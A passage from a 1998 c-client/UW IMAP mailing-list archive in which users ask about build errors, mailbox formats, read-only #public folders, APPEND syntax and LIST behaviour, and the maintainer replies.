Whenever I compile using 'make slx' I get the error, /usr/i486-linux/bin/ld: cannot open -lcrypt: No such file or directory at which point the compile dies. I tried to get around this by instead compiling using 'make lnx', ie linux without shadow passwords. It compiled just fine, but when i try to login using a pop3 client, it tells me my password is wrong. Any help with this would be greatly appreciated. TIA, Donald Thompson From pinedev@shivax2.cac.washington.edu Sun Feb 22 11:35:29 1998 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Sun, 22 Feb 1998 11:35:29 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA13454 for ; Sun, 22 Feb 1998 11:35:28 -0800 (PST) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id LAA02433; Sun, 22 Feb 1998 11:35:24 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id LAA44538; Sun, 22 Feb 1998 11:33:31 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id LAA20846 for ; Sun, 22 Feb 1998 11:33:04 -0800 Received: from dalphi.ml.org (dalphi@[198.59.151.220]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA10518 for ; Sun, 22 Feb 1998 11:32:56 -0800 Received: from localhost (dalphi@localhost) by dalphi.ml.org (8.8.7/8.8.7) with SMTP id MAA02838; Sun, 22 Feb 1998 12:39:04 -0700 Message-Id: Date: Sun, 22 Feb 1998 12:39:03 -0700 (MST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Donald Thompson To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: IMAP4 Compile Probs In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN AHA! great, everythings working perfectly now. Thanks so much. Donald Thompson On Sun, 22 Feb 1998, Mark Crispin wrote: > Some Linux variants use -lshadow instead of -lcrypt. > > Look in file .../src/osdep/unix/Makefile for the slx: tag. Uncomment the line > which has the -lshadow LDFLAGS and comment out the line which has the -lcrypt > LDFLAGS. > > On Sun, 22 Feb 1998 12:19:46 -0700 (MST), Donald Thompson wrote: > > I'm trying to compile imap-4.1.BETA on a slackware linux kernel 2.0.33 > > system with shadow passwords. Whenever I compile using 'make slx' I get > > the error, > > /usr/i486-linux/bin/ld: cannot open -lcrypt: No such file or directory > From pinedev@shivax2.cac.washington.edu Mon Mar 2 10:49:38 1998 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 2 Mar 1998 10:49:38 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA25085 for ; Mon, 2 Mar 1998 10:49:37 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id KAA00590; Mon, 2 Mar 1998 10:49:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id KAA10057; Mon, 2 Mar 1998 10:43:25 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id KAA23610 for ; Mon, 2 Mar 1998 10:42:28 -0800 Received: from spinfo1.spinfo.Uni-Koeln.DE (spinfo1.spinfo.Uni-Koeln.DE [134.95.187.131]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA05768 for ; Mon, 2 Mar 1998 10:42:27 -0800 Received: from mac.spinfo.uni-koeln.de (mac.spinfo.Uni-Koeln.DE [134.95.187.136]) by spinfo1.spinfo.Uni-Koeln.DE (8.8.8/8.8.8) with SMTP id TAA03799 for ; Mon, 2 Mar 1998 19:42:25 +0100 (MET) Message-Id: <26701286.3097856544@mac.spinfo.uni-koeln.de> Date: Mon, 02 Mar 1998 19:42:24 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Sebastian Hagedorn" To: c-client@u.washington.edu Subject: Need help with mailbox formats MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hello! I've been using the UW-IMAP server under Solaris for several years now (I'm currently using IMAP4rev1 v10.215). I can't really say that I've ever been bothered by bad performance or anything, but I'm curious about the other mailbox formats that the c-client supports. I've successfully used mbxcvt to convert mailboxes to all kinds of formats. I have successfully used them. However, there are things I don't understand: - why so many different formats? There doesn't seem to be an explanation of their differences in the docs. What's recommended? mtx? tenex? - I could only use non-unix formats for mailboxes in my hierarchy, not for the INBOX. I am aware that I'd have to use tmail or dmail in order to be able to receive mail to such an INBOX, yet I don't understand why I wasn't able to open it. Thanks, Sebastian -- Sebastian Hagedorn Cologne University, Germany From pinedev@shivax2.cac.washington.edu Mon Mar 16 23:00:08 1998 -0800 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Mon, 16 Mar 1998 23:00:08 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id XAA10860 for ; Mon, 16 Mar 1998 23:00:06 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id XAA08422; Mon, 16 Mar 1998 23:00:01 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id WAA06565; Mon, 16 Mar 1998 22:57:31 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id WAA10258 for ; Mon, 16 Mar 1998 22:56:43 -0800 Received: from krdl.org.sg (rodin.krdl.org.sg [137.132.252.27]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id WAA29885 for ; Mon, 16 Mar 1998 22:56:40 -0800 Received: from mailbox.krdl.org.sg (mailbox.iss.nus.sg [137.132.247.30]) by krdl.org.sg (8.8.4/8.8.7) with ESMTP id PAA26187 for ; Tue, 17 Mar 1998 15:00:39 +0800 (SGT) Received: from skyray.krdl.org.sg (skyray.iss.nus.sg [137.132.249.145]) by mailbox.krdl.org.sg (8.8.4/8.8.8) with SMTP id OAA02529 for ; Tue, 17 Mar 1998 14:56:05 +0800 (SGT) Received: by skyray.krdl.org.sg (SMI-8.6/SMI-SVR4) id OAA02476; Tue, 17 Mar 1998 14:53:14 +0800 Message-Id: <199803170653.OAA02476@skyray.krdl.org.sg> Date: Tue, 17 Mar 1998 14:53:14 +0800 (SGT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: tsingh@krdl.org.sg (Tejinderpal Singh) To: c-client@u.washington.edu Subject: Mime MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi, I am still new to the c-client s/w and wish to know if there is anything like c-client that is available, where i can do mime manuplation. I am trying to do the following : 1)Detect if a msg is in mime format. 2)If it is then filter out all the audio, video,etc except for the text part. All I want is the text part only. c-client is done excellently, but the code is really big. Thats why I am trying to look for a simpler function. Does anybody have any ideas ...? Any help will be greatly appreciated. Thanks Tajinder From pinedev@shivax2.cac.washington.edu Thu Mar 19 08:44:12 1998 -0800 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Thu, 19 Mar 1998 08:44:12 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id IAA31837 for ; Thu, 19 Mar 1998 08:44:11 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id IAA04645; Thu, 19 Mar 1998 08:44:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id IAA03116; Thu, 19 Mar 1998 08:40:02 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id IAA39112 for ; Thu, 19 Mar 1998 08:38:32 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id IAA16202 for ; Thu, 19 Mar 1998 08:38:32 -0800 Received: from umailsrv2.umd.edu (umailsrv2.umd.edu [128.8.10.76]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id IAA04505 for ; Thu, 19 Mar 1998 08:38:29 -0800 Received: from ego.umd.edu (ego.umd.edu [129.2.9.247]) by umailsrv2.umd.edu (8.8.8/8.8.8) with SMTP id LAA24515 for ; Thu, 19 Mar 1998 11:29:24 -0500 Message-Id: Date: Thu, 19 Mar 1998 11:29:23 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: David Henry To: c-client@CAC.Washington.EDU Subject: read only #public? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: dh19@umail.umd.edu X-Authentication: IMSP X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I am having trouble getting imap4rev1 V10.220 to open a folder which is read-only. My sense is that I should get a successful but [READ-ONLY] response when an attempt is made to open a folder which is unwriteable by the server (not only for #public, but also for #shared, ~/whatever, etc.). Since I want to make some folders available to everyone, and have them readonly, using #public with readonly files seemed like the logical approach. I haven't tried earlier versions of the server. So, is the server broken? Or, perish the thought, is it my thinking? Thanks, David Henry University of Maryland * OK umailsrv0.umd.edu IMAP4rev1 v10.220 server ready a login uid xxxxxxx a OK LOGIN completed b list "" #public/% * LIST (\NoSelect) "/" #public/ * LIST (\NoInferiors \UnMarked) "/" #public/cscnews * LIST (\NoInferiors \Marked) "/" #public/umailnews b OK LIST completed ####changed permission to enable write in another window ####the directory is drwxr-xr-x, ####the mbox style files are now -rw-rw-rw- c select #public/cscnews * 51 EXISTS * OK [UIDVALIDITY 890259435] UID validity status * OK [UIDNEXT 52] Predicted next UID * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent flags * OK [UNSEEN 1] 1 is first unseen message in /usr/local/umail/imappublic/cscnews * 0 RECENT c OK [READ-WRITE] SELECT completed d logout * BYE umailsrv0.umd.edu IMAP4rev1 server terminating connection d OK LOGOUT completed From pinedev@shivax2.cac.washington.edu Thu Mar 19 11:05:59 1998 -0800 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Thu, 19 Mar 1998 11:05:59 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA03468 for ; Thu, 19 Mar 1998 11:05:58 -0800 (PST) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id LAA08275; Thu, 19 Mar 1998 11:05:54 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id LAA17392; Thu, 19 Mar 1998 11:02:16 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id LAA43450 for ; Thu, 19 Mar 1998 11:01:13 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA13216 for ; Thu, 19 Mar 1998 11:01:12 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (marcos@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id LAA11899 for ; Thu, 19 Mar 1998 11:01:09 -0800 Message-Id: Date: Thu, 19 Mar 1998 10:58:25 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: David Henry Cc: c-client Interest List Subject: re: read only #public? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 19 Mar 1998 11:29:23 -0500 (EST), David Henry wrote: > I am having trouble getting imap4rev1 V10.220 to open a folder which is > read-only. I don't understand your question. Why do you expect to get READ-ONLY if the folder is protected -rw-rw-rw-? What happens from a SELECT if you protect the folder -rw-r--r--? From pinedev@shivax2.cac.washington.edu Thu Mar 19 12:12:53 1998 -0800 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Thu, 19 Mar 1998 12:12:53 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA04783 for ; Thu, 19 Mar 1998 12:12:52 -0800 (PST) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id MAA10086; Thu, 19 Mar 1998 12:12:48 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id MAA43144; Thu, 19 Mar 1998 12:09:00 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id MAA43414 for ; Thu, 19 Mar 1998 12:07:00 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA20687 for ; Thu, 19 Mar 1998 12:06:59 -0800 Received: from umailsrv2.umd.edu (umailsrv2.umd.edu [128.8.10.76]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id MAA09940; Thu, 19 Mar 1998 12:06:53 -0800 Received: from ego.umd.edu (ego.umd.edu [129.2.9.247]) by umailsrv2.umd.edu (8.8.8/8.8.8) with SMTP id OAA02529; Thu, 19 Mar 1998 14:56:04 -0500 Message-Id: Date: Thu, 19 Mar 1998 14:56:04 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: David Henry To: Mark Crispin Cc: c-client Interest List Subject: re: read only #public? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: dh19@umail.umd.edu X-Authentication: IMSP X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 19 Mar 1998 10:58:25 -0800 (PST) Mark Crispin wrote: > On Thu, 19 Mar 1998 11:29:23 -0500 (EST), David Henry wrote: > > I am having trouble getting imap4rev1 V10.220 to open a folder which is > > read-only. > > I don't understand your question. Why do you expect to get READ-ONLY if the > folder is protected -rw-rw-rw-? > > What happens from a SELECT if you protect the folder -rw-r--r--? > Whoops! In the process of preparing the message I managed to delete the most critical part of the transcript. What happens when the file is -rw-r--r-- is this: c select #public/cscnews c NO SELECT failed: Mailbox open failed, aborted: Permission denied From pinedev@shivax2.cac.washington.edu Thu Mar 19 12:29:56 1998 -0800 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Thu, 19 Mar 1998 12:29:56 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA00571 for ; Thu, 19 Mar 1998 12:29:55 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id MAA10463; Thu, 19 Mar 1998 12:29:51 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id MAA21510; Thu, 19 Mar 1998 12:23:34 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id MAA34740 for ; Thu, 19 Mar 1998 12:23:06 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA11970 for ; Thu, 19 Mar 1998 12:23:04 -0800 Received: from exchange0.avicenna.com (exchange.avicenna.com [208.217.116.135]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id MAA10334 for ; Thu, 19 Mar 1998 12:23:00 -0800 Received: by exchange0 with Internet Mail Service (5.5.1960.3) id ; Thu, 19 Mar 1998 15:23:06 -0500 Message-Id: <41DBCB20F777D111B5AB006008948DB30F48C1@exchange0> Date: Thu, 19 Mar 1998 15:22:56 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Meekyung Kim To: "'c-client@cac.washington.edu'" Subject: imap help MIME-Version: 1.0 Content-Type: text/plain X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I have a problem with imap client "APPEND" command Using telnet, I connected to MS Exchange IMAP server and logined OK. i.e. I was in Authenticated state. According to RFC2060 append command parameter description, the literal (the last parameter) couldn't be the complete message i.e. the header lines could be omitted. Therefore, I tried APPEND command as follows Try #1) A001 append inbox (\Seen) {5} "hello Response: bad protocol Error : "Additional characters at end of APPEND command Try #2) A001 append inbox "hello" Response : BAD protocol Error: "Expected SPACE not found" Try #3) A001 append inbox "hello"\015\012 Response : BAD protocol Error: "Expected SPACE not found" Try #4) A001 append inbox "hello"\015\012 Response : BAD protocol Error: "Expected SPACE not found" Try #5) A001 append inbox "hello\015\012" Response : BAD protocol Error: "Expected SPACE not found" Try #6) A001 append inbox {7} "hello\015\012" Response : Additional characters at end of APPEND command Try #7) I tried with header according to the example in RGC2060 provides for APPEND command I couldn't get out of the input mode after typing the last line of the message Please help me. Thanks in advance. I From pinedev@shivax2.cac.washington.edu Thu Mar 19 12:46:46 1998 -0800 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Thu, 19 Mar 1998 12:46:45 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA25254 for ; Thu, 19 Mar 1998 12:46:44 -0800 (PST) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id MAA10831; Thu, 19 Mar 1998 12:46:40 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id MAA43212; Thu, 19 Mar 1998 12:43:36 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id MAA26682 for ; Thu, 19 Mar 1998 12:42:55 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA14220 for ; Thu, 19 Mar 1998 12:42:52 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (allos@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id MAA10754 for ; Thu, 19 Mar 1998 12:42:49 -0800 Message-Id: Date: Thu, 19 Mar 1998 12:29:38 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: David Henry Cc: c-client Interest List Subject: re: read only #public? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 19 Mar 1998 14:56:04 -0500 (EST), David Henry wrote: > What happens when the file is -rw-r--r-- is this: > > c select #public/cscnews > c NO SELECT failed: Mailbox open failed, aborted: Permission denied OK, this means that the mailbox was opened read/write, and then upon trying to parse it it discovered that it couldn't get read/write access. This is supposedly not possible, because of an earlier check: if ((LOCAL->ld >= 0) && access (LOCAL->name,W_OK) && (errno == EACCES)) { which sets readonly if this condition is true. This means that either access() returned 0 (success) or that the errno check didn't match. Both are unlikely; the former would be an operating system bug, and in the latter EACCES is "Permission denied". This problem does not happen on my development system! [NeXT workstations] However, I have had some circumstantial evidence in the past that errno comparisons don't work in some versions of Digital Unix; or rather, there have been strange events that could only be explained if an errno comparison didn't work. This wouldn't be the first time that DU compiler bugs have been implicated; the infamous "Netscape can't log in to UW imapd running on DU" problem turned out to be that the DU 4.x compiler generated bad code for a switch of a post-decremented short. If you are using a DU system, try a build with "EXTRACFLAGS=-oldc" and see if it works any better. From pinedev@shivax2.cac.washington.edu Thu Mar 19 12:56:40 1998 -0800 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Thu, 19 Mar 1998 12:56:40 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA05493 for ; Thu, 19 Mar 1998 12:56:39 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id MAA14577; Thu, 19 Mar 1998 12:56:32 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id MAA07691; Thu, 19 Mar 1998 12:53:39 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id MAA32082 for ; Thu, 19 Mar 1998 12:52:25 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA13584 for ; Thu, 19 Mar 1998 12:52:25 -0800 Received: from exchange0.avicenna.com (exchange.avicenna.com [208.217.116.135]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id MAA14502 for ; Thu, 19 Mar 1998 12:52:22 -0800 Received: by exchange0 with Internet Mail Service (5.5.1960.3) id ; Thu, 19 Mar 1998 15:52:28 -0500 Message-Id: <41DBCB20F777D111B5AB006008948DB30F48C4@exchange0> Date: Thu, 19 Mar 1998 15:52:19 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Meekyung Kim To: "'c-client@cac.washington.edu'" Subject: imap flag MIME-Version: 1.0 Content-Type: text/plain X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Is there any way to add an user defined flag to a message ? From pinedev@shivax2.cac.washington.edu Thu Mar 19 14:01:09 1998 -0800 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Thu, 19 Mar 1998 14:01:09 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id OAA06721 for ; Thu, 19 Mar 1998 14:01:08 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id OAA16283; Thu, 19 Mar 1998 14:01:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id NAA12516; Thu, 19 Mar 1998 13:53:54 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id NAA34792 for ; Thu, 19 Mar 1998 13:53:39 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id NAA20987 for ; Thu, 19 Mar 1998 13:53:38 -0800 Received: from mail2.sirius.com (mail2.sirius.com [205.134.253.132]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id NAA12531 for ; Thu, 19 Mar 1998 13:53:36 -0800 Received: from [192.168.1.100] (ppp-asfm07--158.sirius.net [205.134.241.158]) by mail2.sirius.com (8.8.7/Sirius-8.8.7-97.08.12) with SMTP id NAA08705 for ; Thu, 19 Mar 1998 13:53:33 -0800 (PST) Message-Id: <199803192153.NAA08705@mail2.sirius.com> Date: Thu, 19 Mar 98 14:02:16 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Tony Robinson To: Subject: Problems with LIST in Windows port? Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I'm new to this so I may be missing something really obvious but it appears that several commands, LIST is my example, are broken in v10.218 IMAPd running under Windows. I'm working with the imap-4.1.BETA which I assume is what I should be using? I've managed to get everything built and running but when I send a LIST "" * command, it doesn't seem to work at all. Looking through the code here's what I see: impad.c calls mail_list( NIL, s, t); That eventually filters down to drivername_list for each driver. When it gets to mbx_list the code looks like: if (stream) dummy_list( NIL, ref, pat); The problem is that stream is explicitly passed in as NIL so mbx_list always returns without doing anything. The same problem is in mtx_list, tenex_list, and unix_list. Several other commands also have the same problem - SCAN and LSUB for instance. Is this currently broken or am I just missing something big in the grand scheme of things? Thanks for any help, Tony Robinson From pinedev@shivax2.cac.washington.edu Thu Mar 19 14:30:02 1998 -0800 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Thu, 19 Mar 1998 14:30:02 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id OAA07315 for ; Thu, 19 Mar 1998 14:30:01 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id OAA13224; Thu, 19 Mar 1998 14:29:55 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id OAA14771; Thu, 19 Mar 1998 14:26:01 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id OAA26438 for ; Thu, 19 Mar 1998 14:25:37 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id OAA03538 for ; Thu, 19 Mar 1998 14:25:34 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (pell@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id OAA16771 for ; Thu, 19 Mar 1998 14:25:33 -0800 Message-Id: Date: Thu, 19 Mar 1998 14:09:37 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Tony Robinson Cc: c-client@CAC.Washington.EDU Subject: re: Problems with LIST in Windows port? In-Reply-To: <199803192153.NAA08705@mail2.sirius.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN What do you mean by "broken"? Are you not getting any results back? Are you getting crashes? Are you getting strange results? Or??? Please be specific; "broken" does not convey information. Bugs happen from time to time, but they get fixed when I find out about them. If there's a bug in the current version on ftp://ftp.cac.washington.edu/mail/imap.tar.Z then it's a good bet that I don't know about the problem, and I need as much information as possible from you. Also, what do you mean "imapd under Windows"? imapd does not run under Windows 3.x or Windows 95. imapd is a server, and requires concepts such as "login account validation" and "file 